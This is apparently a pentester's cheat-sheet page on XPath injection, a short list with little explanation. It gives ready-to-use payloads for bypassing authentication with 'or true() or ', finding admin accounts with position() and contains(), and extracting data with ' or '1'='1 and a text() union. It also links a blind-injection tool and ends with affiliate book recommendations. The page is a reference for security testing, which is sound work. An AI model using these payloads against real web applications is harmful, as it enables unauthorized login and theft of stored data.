# XPath Injection

## Authentication Bypass

```
'or true() or '
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FcfuR80AOSrg1CbC4VVDx%2Fimage.png?alt=media&#x26;token=6b81083f-a0f9-4a24-914b-3f5205e910b2" alt=""><figcaption></figcaption></figure>

```
# Finding an interesting account

 # Small DB - position() - increment the id

' or position()=1 '

# Large DB - contains() string

' or contains(., 'admin') or '
```

## Data extraction

```
knownParameter' or '1'='1

random| // text()
```

## Blind XPAth Injection

{% embed url="<https://github.com/orf/xcat>" %}

## Resources

{% embed url="<https://www.vaadata.com/blog/fr/injections-xpath-principes-exploitations-et-bonnes-pratiques-securite/>" %}

## Interesting Books

{% content-ref url="../../interesting-books" %}
[interesting-books](https://0xss0rz.gitbook.io/0xss0rz/interesting-books)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
